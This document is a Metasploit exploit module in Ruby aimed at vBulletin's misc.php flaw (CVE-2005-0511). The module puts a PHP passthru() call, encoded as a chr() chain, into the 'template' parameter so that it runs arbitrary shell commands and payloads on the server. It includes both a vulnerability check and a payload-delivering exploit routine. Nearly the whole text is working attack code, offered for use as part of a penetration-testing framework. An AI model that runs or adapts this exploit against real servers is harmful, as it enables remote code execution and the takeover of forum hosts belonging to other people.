vBulletin – ‘misc.php’ Template Name Arbitrary Code Execution (Metasploit)
## # $Id: php_vbulletin_template.rb 9929 2010-07-25 21:37:54Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient # XXX This module needs an overhaul def initialize(info = {}) super(update_info(info, 'Name' => 'vBulletin misc.php Template Name Arbitrary Code Execution', 'Description' => %q{ This module exploits an arbitrary PHP code execution flaw in the vBulletin web forum software. This vulnerability is only present when the "Add Template Name in HTML Comments" option is enabled. All versions of vBulletin prior to 3.0.7 are affected. }, 'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'cazz' ], 'License' => BSD_LICENSE, 'Version' => '$Revision: 9929 $', 'References' => [ [ 'CVE', '2005-0511' ], [ 'BID', '12622' ], [ 'OSVDB', '14047' ], ], 'Privileged' => false, 'Platform' => ['unix', 'solaris'], 'Payload' => { 'Space' => 512, 'DisableNops' => true, 'Keys' => ['cmd', 'cmd_bash'], }, 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 25 2005' )) register_options( [ OptString.new('PATH', [ true, "Path to misc.php", '/forum/misc.php']), ], self.class) deregister_options( 'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. ) end def go(command) wrapper = rand_text_alphanumeric(rand(128)+32) command = "echo #{wrapper};#{command};echo #{wrapper};" encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.') res = send_request_cgi({ 'uri' => datastore['PATH'], 'method' => 'GET', 'vars_get' => { 'do' => "page", 'template' => "{${passthru(#{encoded})}}" } }, 5) if (res and res.body) b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body) if b return b.captures[0] elsif datastore['HTTP::chunked'] == true b = /chunked Transfer-Encoding forbidden/.match(res.body) if b raise RuntimeError, 'Target PHP installation does not support chunked encoding. Support for chunked encoded requests was added to PHP on 12/15/2005, try disabling HTTP::chunked and trying again.' end end end return nil end def check response = go("echo ownable") if (!response.nil? and response =~ /ownable/sm) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit response = go(payload.encoded) if response == nil print_error('exploit failed: no response') else if response.length == 0 print_status('exploit successful') else print_status("Command returned #{response}") end handler end end end |